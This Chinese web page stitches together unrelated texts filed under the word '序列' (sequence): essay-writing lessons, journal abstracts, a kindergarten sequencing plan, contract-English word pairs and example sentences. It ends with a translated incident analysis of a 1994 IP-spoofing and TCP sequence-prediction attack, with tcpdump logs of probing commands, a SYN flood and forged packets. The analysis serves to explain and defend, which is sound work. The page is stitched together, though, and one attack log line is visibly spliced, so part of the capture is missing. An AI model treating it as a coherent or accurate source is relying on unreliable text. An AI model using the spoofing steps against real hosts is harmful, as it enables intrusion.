高二作文序列

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篇1：高二作文序列练习之一：一切向钱看

高二作文序列练习之一：一切向钱看

一、作文题目

在生活中，我们都要跟钱打交道。有的人崇拜金钱，“一切向钱看”；有的人视金钱如粪土；有的人用金钱造福他人，造福人类

请以“金钱”为话题，写一篇文章。可以写你对金钱的认识和看法，可以写你有关金钱的经历、体验、情感等。题目自拟，文体自选。

二、达成目标：

记叙文叙事清楚（时间、地点、人物、开端、发展、高潮、结局），议论文观点明确（我认为，我的见解是），散文感情真实

三、课时：写作2 课时，评讲1 课时。

四、相关链接

1、范文

①必修5《钱》

②《一文钱的故事》

从前有一个年轻人，不但算数、文采很好，人也老实。他很懂得经商之道，因此也积蓄了一些财产。可惜后来时运不好，把房屋财产都陪光了，最后沦落到身无分文的地步，流浪在街头。

有一天晚上，他睡在一间财神庙的地上，在迷迷糊糊中突然听到一个声音在他耳边说:“年轻人，你命中的劫难已满!你把你的财产拿去吧，在正殿上第三块石板的下面。”年轻人一下子惊醒过来，再也睡不着了，他睁着眼睛等天亮，想知道听到的是不是真的。

天刚蒙蒙亮，他就去翻起正殿上的第三块石板寻找，可是找来找去也没有看到什么东西，最后只找到了一枚铜钱。他沮丧地坐在地上想:“可能我是在作梦吧?怎么能 真的相信呢?我这么倒霉，怎么可能一下子就有了好运呢?唉!还是别想入非非了。但是有这一文钱也不错，至少可以买点吃的填饱肚子!”

他拿着这一文钱买了一小碗汤面，快吃完时，他一眼瞟见在面摊角落有一个小包包。他心想可能是哪个食客遗落下来的，好像面摊老板也没有发现，于是他便偷偷拿过来看 看是里面有什么。他走到不远处打开一看，发现都是一些账单和支票之类的，他曾经从商，知道这些单据都是很重要的东西，于是他决定等失主来找寻，好归还失主。

果然，不多时，有一个商人模样的人很慌张地走到面摊那里询问。面摊老板坚持说自己没有看见，商人急得有点不知所措了。年轻人就前去问那商人说:“你遗落了什么东西阿?都有些什么?”商人照实说了，年轻人看他说得符合，就将包包归还给了商人。

商人当然是千恩万谢了，并从包中拿出一张一千两银子的支票作为酬谢，可是年轻人却坚决不肯收下。商人见他落泊的.样子，又这么老实，更加感动不已。于是商人问 起年轻人为何落到如此地步，年轻人将自己的种种告知了商人。商人得知他善于算数、书写，便决定帮他。商人带着年轻人买了几件好衣衫，又去澡堂洗了一个澡，让他换上新衣，就领着他去见一个洋行的老板。商人和洋行老板是好友，他将刚才发生的事告诉洋行老板，并推荐年轻人给洋行老板当账房先生。洋行老板瞪大眼睛惊讶地听着，觉得年轻人太诚实了，就马上聘用了他。

这洋行做的是进口洋布的生意，规模非常大，很多同行的都到这里来进货。可是后来有很长一段时间整个市场都不好，生意很清淡，洋行囤积了很多货。外国老板一看这种情形想必会维持很久，便把行中一切事物交给账房先生打理，自己就径直回国去了。

没想到洋行老板回去不久，市场对洋布的需求大增，洋布的价格也日日往上涨得惊人。年轻的账房先生趁此好时机将存货抛售，赢得了相当丰厚的获利。

过了几年，洋行老板又回到中国，账房先生将行中所有的获利，连本带利都交给了老板。老板见他这样诚实，就决定把所有的利润给他，自己只收回本钱。可是账房先 生怎么也不肯收，老板最后想了一个办法，便刻了一个图章送给他，并规定从此以后每售布时必须经过账房盖章，每盖一个章，扣除营利一文钱，扣除所得的钱全归 账房先生所有。

这样一来，账房先生的收入就非常可观了，不出几年，他就成了一个大富翁。想一想这一切，还真亏了那一文小钱呢!

现在有很多人都说着这样一句话，甚么“无奸不商”，也有的人说:“人善被人欺，马善被人骑”。说来说去，好像从商的不诚实成了自然，好像一定要牺牲别人的利益自己才会获利似的。其实不然，只有诚信才能长久，善良才会得到同样的回报。就像故事中的年轻人一样，是诚实给他带来了转机，是善良给他带来了永久的财富，这才是真正的聪明人的所为啊!在我们生活中，哪一件事情不是这样呢?

2、积累素材

①名言警句

（1）“君子喻于义，小人喻于利”（《论语》）。

（2）“子曰：‘君子谋道不谋食，君子忧道不忧贫’”（《论语》

（3）“子曰：‘富而可求也，虽执鞭之士，吾亦为之。如不可求，从吾所好’”（《论语》）

（4）“君子爱财，取之有道”（《论语》）

（5）钱之为体,有乾有坤,内则其方,外则其圆.其积如山,其流如川……故能长久,为世神宝.亲爱如兄,字曰孔方.失之则贫弱,得之则富强.无翼而飞,无足而走.解严毅之颜,开难发之口.钱多者处前,钱少者居后,处前者为君长,在后者为臣仆.………可谓神物.无位而尊,无势而热.排金门,入紫闼.钱之所在,危可使安,死可使活.钱之所去,贵可使贱,生可使杀.是故忿诤辩讼,非钱不胜.孤弱幽滞,非钱不拔.怨仇嫌恨,非钱不解.令问笑谈,非钱不发. ……谚云:“钱无耳,可暗使”,岂虚也哉!又曰“有钱可使鬼”,而况于人乎!----《钱神论》 鲁褒

（6）“穷在闹世无人问,富在深山有远亲”----《增广贤文》

（7）人为财死，鸟为食亡。----《增广贤文》

（8）“贪财是万恶之源.” 《圣经》

（9）咦，这是什么？金子！黄黄的，发光的，宝贵的金子！……这东西，只这一点点儿，就可以使黑的变成白的，丑的变成美的，错的变成对的，卑贱变成尊贵，老人变成少年，懦夫变成勇士。……这黄色的奴隶可以使异教徒联盟，同宗分裂；它可以使受诅咒的人得福，使害着灰白色的癞病的人为众人所敬爱；它可以使窃贼得到高官显爵……它可以使鸡皮黄脸的寡妇重做新娘，即使她的尊容会使身染恶疮的人见了呕吐，有了这东西也会恢复三春的娇艳。来，该死的土块，你这人尽可夫的娼妇…… 你惯会在乱七八糟的列国之间挑起纷争…… ──英 莎士比亚《雅典的泰门》

（10） “钱遮眼睛头发昏，官迷心窍人沉沦。功名利禄如粪土，富贵荣华如浮云。如君能出赉赦手，脱胎换骨重卧薪。” 广西玉林地委书记李乘龙受贿一千六百万，这是他在狱中写的诗。

②小故事

（1）、佛经里,记载着这样一个故事:某日,佛陀率弟子阿难外出乞食,看见路边有一坛黄金.佛陀立刻对阿难说:“看,毒蛇.”阿难亦应声答道:“果然是毒蛇.”

（2）、一个富翁，生意红火，每日操心，算计，烦恼不堪。隔壁的一对穷夫妻以卖豆腐为生，整天边磨豆腐边说笑，其乐无穷。富翁的太太心生嫉妒，对丈夫说，人家虽穷，但快乐，快乐值千金呀！富翁诡谲地说：我叫他明天就快乐不起来！说完扔了块金子到隔壁。次早那对穷夫妻发现了地上的金块，捡了起来，欣喜异常。说发财了，再也不用磨豆腐了。转念一想：可是这金子怎么用呢？买什么呢？如果人家说是偷来的怎么办呢？……如此这般，坐卧不宁，茶饭不思。隔壁的富翁再也听不到他们的笑声了。

（3）、两头驴子驮着沉重的背包，吃力地往前走。一头驮的是满袋金钱，另一头驮的是满袋粮食。驮着财宝的驴子因为感到自己驮的东西价值不菲，所以昂首阔步，把系在脖子上的铃铛摆得悦耳动听，它的同伴则不声不响地跟在它后边。突然一伙强盗从隐蔽处窜出来 ，扑向驴队。强盗跟赶驴子的人扭打时，用刀刺伤了驮财宝的驴子，并贪婪地把财宝抢劫一空，对粮食则不加理会，驮粮食的驴子也就安然无恙。受了伤的驴子大叹倒霉，对同伴说：“还是你运气好啊，虽然不神气，但总不至于挨刀子。

大道理：越神气的位置，就要担越重的干系，谨慎行事别只顾着神气。在令人仰慕的黄金背后暗藏着一定的杀机和险情---金钱并没有错，但金钱带来的恶果我们却不能躲避。

五、写前构思

构思提纲

记叙文（要素：时间、地点、人物、开端、发展、高潮、结局、画龙点睛句）

议论文（要素：论点、论据、论证方法）

【教学后记】

包括尖子班学生在内的不少学生连叙述清楚一件事情的能力都欠缺，作文训练任重道远。

篇2：浅析时间序列

浅析时间序列

时间序列因其研究现象发展变化的方向和程度,不仅在现实生活中被广泛应用,而且还被应用于各种研究.文章旨在简要介绍时间序列的概念及其预测方法,并争对当今众多学者在这方面的研究提出对时间序列未来研究方向的浅见.

作 者：王小倩  作者单位：西南财经大学统计学院,成都,611130 刊 名：今日财富（下旬刊） 英文刊名：FORTUNE TODAY 年，卷(期)： “”(11) 分类号：C8 关键词：时间序列   移动平均法   指数平滑法   最小二乘法   未来前景  

篇3：《序列推理》数学教案

《序列推理》数学教案

【活动目的】1，通过观察，操作，比较，发现物体排列的规律。

2，培养初步的判断推理能力。

【活动内容】一、自主探索，发现物体的排列规律。

1，提供丰富的操作材料，分组操作。

2，摆积木，提供两种颜色的积木，让孩子按颜色变化规律排序。

3，摆餐具，提供若干一次性的勺子，让孩子按勺子把朝上朝下的变化规律排序。

二、探索活动的'交流。

1，提问，你是怎么排的？

2，引导孩子想出不同的排法，并排一排，强调排列的规律性。

3，讨论和小结，练习表述：XX和XX是按照XX顺序排列的。

提示：排序的方法有很多种，出了按形状，颜色，数量等特称排序外，还可以按照方位，类别等特征进行。

三、小小设计师

1，运用自己有排序知识，给毛巾，床单，手绢等设计花边或者图案。

2，请孩子介绍自己设计的作品，说明图案的排列规律。

提示：鼓励孩子大胆发挥想象，进行“设计”，成人只需提示要按照规律排列图案。

活动要点：

1，观察大自然具有规律的排序现象，是这一部分知识学习的真正意义。

2，带着问题观察事物，将所学到的知识渗透并运用到生活中，以激发孩子的学习兴趣，促进其创造能力的发展。

篇4：前导序列工程

前导序列工程

在传统的蛋白质工程中,为了改变酶的特性,常采用诱变等方法在蛋白酶结构域中引入突变.在前导序列调节蛋白折叠机制的基础上,文章介绍了一种新的.蛋白质工程技术--“前导序列丁程”.前导序列工程是指当前导序列发生突变时,同一种多肽链可以折叠成具有不同高级结构、稳定性或特异性改变的构型.前导序列工程不仅是研究蛋白质折叠机理的重要丁具.更是创造新型蛋白酶的一种十分有前途的新技术.文章以枯草杆菌蛋白酶为例,介绍了前导序列工程的意义与应用.例如.枯草杆菌蛋白酶在突变前导序列作用下可以得到底物特异性改变的酶,并且可以提高自动处理效率.-个枯草杆菌蛋白酶同族的前导序列可以作为变性枯草杆菌蛋白酶折叠的分子内伴侣帮助其折叠.

作 者：李素霞 辛爱洁 袁勤生 LI Su-xia XIN Ai-jie YUAN Qin-sheng  作者单位：华东理工大学生物反应器工程国家重点实验室,上海,37 刊 名：药物生物技术  ISTIC英文刊名：PHARMACEUTICAL BIOTECHNOLOGY 年，卷(期)： 15(3) 分类号：Q816 关键词：前导序列   前导序列工程   分子内伴侣   蛋白折叠   蛋白记忆   枯草杆菌蛋白酶  

篇5：相关词的序列

相关词的序列

同义词、近义词、相关词的序列

FOR value RECEIVED，the undersigned does hereby sell, transfer, assign and set over to ______ all his right, tile and interest in and to a certain contract dated ______, 19____ by and between the undersigned and ______，a copy of which is annexed hereto.

在这里的`同义词和近义词并列（如sell, transfer, assign and set over，right和 tile and interest），在英文合同里十分普遍，这是出于严谨和杜绝漏洞的考虑，有的也属于合同用语的固定模式。如：

This agreement is made and entered into by and between Party A and Party B.句中“made and entered into”和“by and between”两组分别属于同义词和相关词并列。

For and in consideration of mutual covenants and agreements contained herein, the parties hereby covenant and agree as follows: 句中“for and in consideration of ”， “covenants and agreements”三组同义司和近义词并列，

The parties have agreed to vary the Management on the terms and subject to the conditions contained herein. 这里的“on the terms”和“subject to the conditions”是一个意思都表示“依照本协议的条款规定”。合同条款的固定模式是“terms and conditions”

再例如：

“Party A wishes to be released and discharged from agreement as from the feective date”，一句中的“realease”和“discharge”意思几乎相同。

并列的词还有：

ships and vessels

support and maintenance

licenses and permits

charges, fees, costs and expenses

any and all

any duties, obligations or liabilities

the partners, their heirs, successors and assigns

control and management of the partnership

applicable laws, regulations, decrees, directives, and rules

篇6：直接序列调制

直接序列调制（Direct-SequenceModulation）技术是将信号的能量平均分布于整个频带内，并通过伪随机序列将数据流倍加来使信号得以扩频，此序列具有数倍于所传信号二进制数据位率的符号速率，

直接序列调制

，

篇7：序列的造句

1、这个函数调用序列显示了造成崩溃的代码路径。

2、然后再将此函数应用到之前的结果以及序列中的下一个元素。

3、在序列的每个位置上，我们都可以测量染色质的这些不同属性。

4、由于生命线类型到在一个合作的序列图表上，因此这些UML类从每个UML类跟踪到每个相应的合作中。

5、这里有20项技术序列，然而您将发现可以很快地通过这个阶段，但始终还是要以您自己的步伐进行。

6、您可以在编辑操作中指定任何数量的行，并且这些操作可以在一个序列中进行组合和指定。

7、通过从所有涉及的人那里收集系统使用信息，我们可以在业务层重新构造处理序列。

8、就算我把他或者她排在序列中的其他位置，又有谁会在意呢？

9、别名是一个简短的序列，您可以使用它来代替一个较长的命令。

10、这些序列组成了用于与这样的某个类或一组类交互的协议。

11、在本文中描述的功能改善，提高了序列图的可用性，因此使得您可以更加容易的编辑和变更您的图表。

12、它还意味着我们需要一些工具，用于在对象序列上强加一个次序，有可能是在多个层次上进行的。

13、它包括了一个小节的`序列，每个小节描述了一个将要被执行的操作。

14、如果把命令连接在一起，那么只有序列中最后一个命令生成的输出能够反映管道的进度。

15、在大多数语言中，这个列表被实现为数组、向量、列表或序列。

16、标记阶段最后也没有标记的对象是应用程序不可获得的对象（死对象），因为不存在从根集经过任何引用序列找到这些对象的路径。

17、在IFS中，文件的存在形式是一个字节序列，没有任何由文件属性指定的数据格式。

18、然而，有另一个方法在序列图之间传递消息。

19、在微观设计中，将为组件模型中的每个组件设计和建模类关系图以及序列关系图。

20、这是个好消息，因为它意味着样式表作者们将很快就能利用象序列、量化和更强有力的类型控制这样的特性。

21、您可以看到什么将会被记录，序列图编辑器现在也处于重新排序模式下了。

22、有非常一致的字符重复序列。

23、但是我们所看到的扩展，都需要用户通过发布一个正常模式命令，或者在插入模式中输入一个特殊的序列，明确地请求行为。

24、此实例将始终添加到序列的末尾。

25、在一些特殊的情况下，这种方法可以同时满足事件交付序列和性能的需求。

26、这个序列是引用主题所允许结构的一个子集，后者没有规定语法、属性和章节的顺序。

27、在更新这些系统架构图以及适当的序列图之后，她将这些文件检入。

28、这意味着要根据元素在序列中的位置访问这些集合中的元素。

篇8：高中语文议论文作文序列训练

原标题：分析核心的概念，开启论证的起点 ——议论文作文训练序列五 主备人|王洪亮

【学习目标】

1.了解概念的内涵与外延;

2.学会运用分析核心概念的方法，提高论证的有效度。

【活动一】思考并完成下面几道思维训练题

1.依据范例，选择下面几组近义词中的一组，结合具体的语句加以辨析，通过辨别异同，澄清模糊认识，避免混淆概念。

习惯——习性、性格、特长

坚韧——顽强、坚定、勇敢

平庸——平凡、平常、平淡

诚信——诚实、忠诚、诚挚

自信——自强、自大、自负

复制——模仿、借鉴、创新

坚守——坚持、坚定、坚信

节气——节日、节令、季节

范例：辨析 “习惯”一组近义词：

张大爷几十年来每天早起锻炼身体——习惯

雄鹰高飞，骏马奔驰——习性

隔壁家黄大伯为人直爽、热情——性格

他从小学到高中都是学校的长跑冠军——特长

照例仿写辨析：

2.辨析下面每组词组的内涵

第一组：开阔的视野

1.袁隆平在野外工作，所以有开阔的视野。

2.开阔的视野对学习和科学研究都非常重要。

辨析：

第二组：不满现状

1.球王贝利踢进第一千个球时，记者问他哪一个球踢得最好，他回答“下一个”。作家王蒙出名以后，有人问他哪一部小说写得最好，他回答“下一篇”。羽毛球运动员韩健成了世界冠军之后，有人问他哪一场打得最好，他回答“下一场”。他们之所以能取得优异的成绩，我认为很重要的一个原因，就是他们不满现状，不断进取，不断奋斗。

2.毛泽东、周恩来年轻时，也是因为不满现状，所以立下改造中国、改造现状的宏伟志向，投身革命斗争。

辨析：

【活动二】圈点勾画并理解：概念之间的几组关系

(1)概念的本义和引申义、深层意义。如《有话好好说》里的“话”，本义是日常生活中说的话语，但是这个题目中，它表示的是“意见”，往往是“不同意见”甚至是冲突性言语。因此，在行文中，就需要把这层意思明确出来。

(2)概念的具象性意义和抽象性的比喻义、象征义。如《必须跨过这道坎》里的“坎”，原指种土埂，后来比喻为道路上的障碍，议论文中一般象征人在成长道路上遇到的艰难之处。类似的概念还有“门”“窗”“镜子”“路标”“界碑”“方向盘”“天平”“锁”“钥匙”。行文中，一般从具象意义开始，通过概念界定转到比喻义或象征义。

(3)概念的通常意义和新解。如“不求甚解”一词，通常情况下形容不好钻研、浅尝辄止的读书习惯，但马南邨在《不求甚解》一文中，把这一概念的通常意思一下子颠覆过来，赋予它很多积极意义，如浏览式的读书也很重要，有的书不必全解，读书也未必需要那么多功利心。文章的价值和新意，很大程度上就在于概念的界定。这种“新解”式的概念界定，用来写翻案性或商榷性的议论文最容易得到好评，不过，操作中也容易出现失误，因此一般应慎重。

(4)概念的误解和正解。如何对待未来文化，每个时代几乎都存在误区。鲁迅的《拿来主义》在概念界定时做了不少文章，把在对外交往方面很多似是而非的观念和做法，从无知的“闭关主义”、不问结果的“送去主义”、一厢情愿的“礼尚往来”，到后患无穷的“被送来”，一一作了解剖和否定，在否定“误解”的过程中有力地竖起了“拿来主义”“有勇气、有辨别、有创新”这一正解。

(5)模糊意义与具体的意义。有时候，作文题目中的核心概念比较模糊，如“方与圆”“忙”，似乎有很多阐释角度，但又常常让人无从下手。针对这样的核心概念，有效的做法就是把它具体化，也可以叫“排除杂念、定于一统”。如上海卷优秀作文《杂——多元、包容、多角度》的第一段：

“杂”常常和杂乱、繁杂同生，在人们心中就是“杂七杂八”“七上八下”“脏、乱、差”。我倒不这样认为。可曾听说“杂学”一词?杂，既然能提到学问的高度，可见杂也有杂的妙处。

概念界定的主要目的，就是将核心概念从众多可能意义中剥离出来，并赋予它只有在本文语境下才成立的特定意义。上面所说的引申义、深层意义、象征义、比喻义、新解、正确的意义、具体的意义，就是界定以后凸显出来的，一般就是议论文的中心，通常情况下也是文章新颖和深刻之所在。

【活动三】交流界定概念的方法并照例仿写

议论文中对观点或核心概念(关键词)的界定、阐述至关重要，深人剖析“是什么”可以使论点鲜明、说理深刻，增强说服力。

1.给概念下定义。

1平行线是指在同一平面内永不相交的两条直线。(或在同一平面内，永不相交的两条直线叫作平行线。)

2泥石流是在山区或者其他沟谷深壑，地形险峻的地区，因为暴雨、暴雪或其他自然灾害引发的山体滑坡并携带有大量泥沙以及石块的特殊洪流。

运用定义来界定概念，是对概念的内涵与外延最为准确、严密的阐释。但是，由于认识的局限，许多概念至今人们还未能准确地下定义。再者，下定义需要很强的专业性知识、逻辑学要求(定义形式：被定义概念=种差+属概念)，有的会涉及一些专业术语，而在考场上受到时间、资料的限制，同学们常常难以科学地对一个概念下定义。所以，同学们在考试时应谨慎下定义，平常写作时可以査阅相关材料来帮助下定义。

2.解释核心概念。

(1)诠释阐述法。

1谦虚是什么?谦虚指不自满，肯接受批评，并虚心向人请教。谦虚做人是自我客观清醒的认识，是与人和谐相处的智慧，是社会道德行为的准则。

2谦虚不是虚伪，不是懦弱，而是一种修养，一种品质，一种境界。谦虚做人不是委曲求全，不是妄自菲薄，而是恬淡从容的心境，亲切平和的胸襟，是卑微时的安贫乐道、豁达大度，是显赫时的持盈若亏、不骄不枉。

3何为盲从?顾名思义，盲从就是指那些对某件事缺乏亲身感受，没有自己的独立见解，从而盲目跟从别人的行为。盲从心理在我们很多人身上都存在着，我们总认为与大多数人在一起会更安全，不会犯错，带着这种心理，我们的生活就变得“人云亦云”起来。

例1，进行本质揭示，透过现象揭示本质，显示出观点深刻的内涵。若“谦虚”作为文章的核心概念，其内涵必须是清晰、明确的。

例2，展开辩证分析，将概念与相似概念进行区分，界定概念内涵和外延，从而对观点中的重要概念“谦虚”和观点“谦虚做人”的实质展开充分的、必要的阐述。否则，建立在这个概念基础上的判断、推理和论证都将失去依据与前提。

这两例运用排比句式，使观点具体化，从多个角度对“谦虚”进行阐述，语段的内容充实丰满。

例3，把文章的核心概念抽象概念“盲从”化虚为实，明确并界定了论证的方向、内容，有利于避免可能出现的偷换概念。这种写法常出现在议论文的开头。

照例仿写：规则

(2)引用阐述法。

谦虚是什么?谦虚是庄子“我生也有涯，而知也无涯”的不凡气度，是张养浩“入则恳恳以尽忠，出则谦谦以自悔”的自知之明，是诸葛亮“不做才以骄人，不以宠而作威”的睿智之举。

该例引用名言对核心概念“谦虚”进行具体的多侧面阐述。

照例仿写：盲从

(3)事例阐述法。

谦虚是孙叔敖的谦恭待人，是白居易的虚心请教，是顾炎武的虚怀若谷。谦虚是陶潜笑看官场的淡然，是左思暗著文赋的坦然，是杨绛淡视采访的超然。

运用实实在在的人物来阐述观点的具体含意，由古到今，从各个角度来阐释概念“谦虚”的含义。这种方法既要放开思路、知识面广，又应概括力强。

照例仿写：豁达

(4)综合阐述法。

谦虚是一种关德，是人的立身之本。谦虚不是自负偏执，不是胆怯保守，而是审时度势的思考，是奋力进取与适可而止之间的平衡。谦虚是雪莱“浅水是喧哗的，深水是沉默的”的气度，是《昭德新编》“水静极则形象明，心静极则智慧生”的顿悟，是华罗庚“虚伪的谦虚，仅能博得庸俗的掌声，而不能求得真正的进步”的惊觉。谦虚像一颗饱满的麦穗在尘世中低眉，谦逊、诚恳、踏实地为人处世。

此例运用多种方法对观点进行全面的、辩证的、多层次的阐述，丰富了文章的内涵。

照例仿写：拼搏

3.对举核心概念与相邻概念。

同情不是居高临下的恩赐，，不是装模作样的慈悲，而是人与人之间一种和谐的连接，同情者与被同情者同等的情感流动。······同情不是一种荣誉、一种交换，而是一种与功利全然无关的情感亭受。只有达到主客相投、物我两忘，在天地间只有一个实际的行动，才能达到善行的顶峰。运用“不是······不是······而是······”句式，把核心概念“同情”与相邻概念“恩赐”“慈悲”进行比较、辨析，明确界定“同情”的具体内涵，体现思维的严密与深刻。

照例仿写：忍让

【本次作文训练题目】

阅读下面的材料，根据自己的感悟和联想，写一篇不少于800字的文章。

如果你一直向上看，你就觉得自己在下面;如果你一直向下看，你就觉得自己在上面。

要求：①选准角度，自定立意;②自拟题目;③不要套作，不得抄袭。

作者：王洪亮

公众号：高考作文

篇9：利用ip序列攻击

在 John Markoff 的 1/23/95 NYT 中的文章,还有 CERT advisory CA-95:01之中

提到很多关于 IP地址的欺骗（ IP spoofing ）和hijacking攻击.这儿是我的一些技术

资料，希望它能帮助你明白这类攻击是怎么一回事。

这是两种截然不同的攻击手段.IP 源地址欺骗和 TCP 序列序列预报是为了获得那些

使用 X terminal 作为无盘工作站的初始的使用权。当 root 权限被获得时,一个已知

的到其他系统的连接就会被“可加载内核 STREAMS 模块”或 hijacked 。

这次攻击中的数据记录都是由 tcpdump 来完成的. 兴趣很明确(也很短!),有些日期

被遗漏了.我特别推荐 Steve Bellovin 的关于“IP spoofing”的文章,他对 TCP 握手

描述的非常详细, 也提出了怎样阻止这种攻击手段.

我的设置是这样的:

系 统 = 运行Solaris 1 提供 “X terminal”服务的 SPARC 工作站

x-terminal = 运行Solaris 1 提供 “X terminal”服务

目 标 = 攻击显然的目标

IP spoofing 攻击是从 14:09:32 PST on 12/25/94 开始的.首先的探测来自

toad.com (来自数据包的记录):

14:09:32 toad.com# finger -l @target

14:10:21 toad.com# finger -l @server

14:10:50 toad.com# finger -l root@server

14:11:07 toad.com# finger -l @x-terminal

14:11:38 toad.com# showmount -e x-terminal

14:11:49 toad.com# rpcinfo -p x-terminal

14:12:05 toad.com# finger -l root@x-terminal

这样的探测是为了查看在这些系统之中有什么信赖关系，借此可以发动 IP spoofing

攻击.从 showmount 和 rpcinfo 的源端口可以看出是 toad.com 的 root

六分钟之后, 我们收到了大量的 TCP SYN 请求(TCP 连接的请求)，是来自 130.92.6.97

到服务器上的 513 (login) 端口.这些 SYN 请求的目的就是堵塞513端口的连接队列，使其

成为半开连接状态，因此无法接受其它的新的连接请求.详细些就是，它是不会对那些SYN-ACK

请求发送TCP RST回应的。

[梦：关于此处，看看TCP连接的三次握手]

513 端口是一个“特权”(< IPPORT_RESERVED)端口 , server.login 可以被假定的源地

址安全的使用,是在UNIX上的“r-服务” (rsh, rlogin)进行地址spoofing攻击的。130.92.6.97

明显是没有反应的地址（对收到的数据包）:

14:18:22.516699 130.92.6.97.600 > server.login: S 1382726960:1382726960(0) win 4096

14:18:22.566069 130.92.6.97.601 > server.login: S 1382726961:1382726961(0) win 4096

14:18:22.744477 130.92.6.97.602 > server.login: S 1382726962:1382726962(0) win 4096

14:18:22.830111 130.92.6.97.603 > server.login: S 1382726963:1382726963(0) win 4096

14:18:22.886128 130.92.6.97.604 > server.login: S 1382726964:1382726964(0) win 4096

14:18:22.943514 130.92.6.97.605 > server.login: S 1382726965:1382726965(0) win 4096

14:18:23.002715 130.92.6.97.606 > server.login: S 1382726966:1382726966(0) win 4096

14:18:23.103275 130.92.6.97.607 > server.login: S 1382726967:1382726967(0) win 4096

14:18:23.162781 130.92.6.97.608 > server.login: S 1382726968:1382726968(0) win 4096

14:18:23.225384 130.92.6.97.609 > server.login: S 1382726969:1382726969(0) win 4096

14:18:23.282625 130.92.6.97.610 > server.login: S 1382726970:1382726970(0) win 4096

14:18:23.342657 130.92.6.97.611 > server.login: S 1382726971:1382726971(0) win 4096

14:18:23.403083 130.92.6.97.612 > server.login: S 1382726972x-terminal.shell: R 1382726997:1382726997(0) win 0

14:18:29.584705 apollo.it.luc.edu.993 > x-terminal.shell: S 1382726997:1382726997(0) win 4096

14:18:29.755054 x-terminal.shell > apollo.it.luc.edu.993: S 202270:2022720000(0) ack 1382726998 win 4096

14:18:29.840372 apollo.it.luc.edu.993 > x-terminal.shell: R 1382726998:1382726998(0) win 0

14:18:30.094299 apollo.it.luc.edu.992 > x-terminal.shell: S 1382726998:1382726998(0) win 4096

14:18:30.265684 x-terminal.shell > apollo.it.luc.edu.992: S 2022848000:2022848000(0) ack 1382726999 win 4096

14:18:30.342506 apollo.it.luc.edu.992 > x-terminal.shell: R 1382726999:1382726999(0) win 0

14:18:30.604547 apollo.it.luc.edu.991 > x-terminal.shell: S 1382726999:1382726999(0) win 4096

14:18:30.775232 x-terminal.shell > apollo.it.luc.edu.991: S 2022976000:2022976000(0) ack 1382727000 win 4096

14:18:30.852084 apollo.it.luc.edu.991 > x-terminal.shell: R 1382727000:1382727000(0) win 0

14:18:31.115036 apollo.it.luc.edu.990 > x-terminal.shell: S 1382727000:1382727000(0) win 4096

14:18:31.284694 x-terminal.shell > apollo.it.luc.edu.990: S 2023104000:2023104000(0) ack 1382727001 win 4096

14:18:31.361684 apollo.it.luc.edu.990 > x-terminal.shell: R 1382727001:1382727001(0) win 0

14:18:31.627817 apollo.it.luc.edu.989 > x-terminal.shell: S 1382727001:1382727001(0) win 4096

14:18:31.795260 x-terminal.shell > apollo.it.luc.edu.989: S 2023232000:2023232000(0) ack 1382727002 win 4096

14:18:31.873056 apollo.it.luc.edu.989 > x-terminal.shell: R 1382727002:1382727002(0) win 0

14:18:32.164597 apollo.it.luc.edu.988 > x-terminal.shell: S 1382727002:1382727002(0) win 4096

14:18:32.335373 x-terminal.shell > apollo.it.luc.edu.988: S 2023360000:2023360000(0) ack 1382727003 win 4096

14:18:32.413041 apollo.it.luc.edu.988 > x-terminal.shell: R 1382727003:1382727003(0) win 0

14:18:32.674779 apollo.it.luc.edu.987 > x-terminal.shell: S 1382727003:1382727003(0) win 4096

14:18:32.845373 x-terminal.shell > apollo.it.luc.edu.987: S 2023488000:2023488000(0) ack 1382727004 win 4096

14:18:32.922158 apollo.it.luc.edu.987 > x-terminal.shell: R 1382727004:1382727004(0) win 0

14:18:33.184839 apollo.it.luc.edu.986 > x-terminal.shell: S 1382727004:1382727004(0) win 4096

14:18:33.355505 x-terminal.shell > apollo.it.luc.edu.986: S 2023616000:2023616000(0) ack 1382727005 win 4096

14:18:33.435221 apollo.it.luc.edu.986 > x-terminal.shell: R 1382727005:1382727005(0) win 0

14:18:33.695170 apollo.it.luc.edu.985 > x-terminal.shell: S 1382727005:1382727005(0) win 4096

14:18:33.985966 x-terminal.shell > apollo.it.luc.edu.985: S 2023744000:2023744000(0) ack 1382727006 win 4096

14:18:34.062407 apollo.it.luc.edu.985 > x-terminal.shell: R 1382727006:1382727006(0) win 0

14:18:34.204953 apollo.it.luc.edu.984 > x-terminal.shell: S 1382727006:1382727006(0) win 4096

14:18:34.375641 x-terminal.shell > apollo.it.luc.edu.984: S 2023872000:2023872000(0) ack 1382727007 win 4096

14:18:34.452830 apollo.it.luc.edu.984 > x-terminal.shell: R 1382727007:1382727007(0) win 0

14:18:34.714996 apollo.it.luc.edu.983 > x-terminal.shell: S 1382727007:1382727007(0) win 4096

14:18:34.885071 x-terminal.shell > apollo.it.luc.edu.983: S 2024000000:2024000000(0) ack 1382727008 win 4096

14:18:34.962030 apollo.it.luc.edu.983 > x-terminal.shell: R 1382727008:1382727008(0) win 0

14:18:35.225869 apollo.it.luc.edu.982 > x-terminal.shell: S 1382727008:1382727008(0) win 4096

14:18:35.395723 x-terminal.shell > apollo.it.luc.edu.982: S 2024128000:2024128000(0) ack 1382727009 win 4096

14:18:35.472150 apollo.it.luc.edu.982 > x-terminal.shell: R 1382727009:1382727009(0) win 0

14:18:35.735077 apollo.it.luc.edu.981 > x-terminal.shell: S 1382727009:1382727009(0) win 4096

14:18:35.905684 x-terminal.shell > apollo.it.luc.edu.981: S 2024256000:2024256000(0) ack 1382727010 win 4096

14:18:35.983078 apollo.it.luc.edu.981 > x-terminal.shell: R 1382727010:1382727010(0) win 0

注意每个x-terminal送出的 SYN-ACK 数据包通过 x-terminal 有个初始数列，并且都比前

一个来的大.

我们看到一个伪造的 SYN (连接请求), 是从 server.login 送到 x-terminal.shell 的，

设想服务器如果被x-terminal所信任, 那么 x-terminal 就可以利用了(甚至一些伪装的服务器)

请求了.

x-terminal 会对服务器回复一个 SYN-ACK, 只有 ACK 过的才可以打开连接.服务器会丢失

送到 server.login 的数据包，所以ACK 也要伪造.

通常情况下, SYN-ACK 的数列需要用来生成有效的 ACK. 虽然这样，攻击者可以预知序列

包含在 SYN-ACK 中，基于已知的x-terminal的 tcp 序列生成规律,下面还可以 用 ACK 来对付

那些没有看见的 SYN-ACK :

14:18:36.245045 server.login > x-terminal.shell: S 1382727010:1382727010(0) win 4096

14:18:36.755522 server.login > x-terminal.shell: . ack 2024384001 win 4096

现在被 spoofing 的机器现在只有一种方法连接到x-terminal.shell服务器就是 server.login.

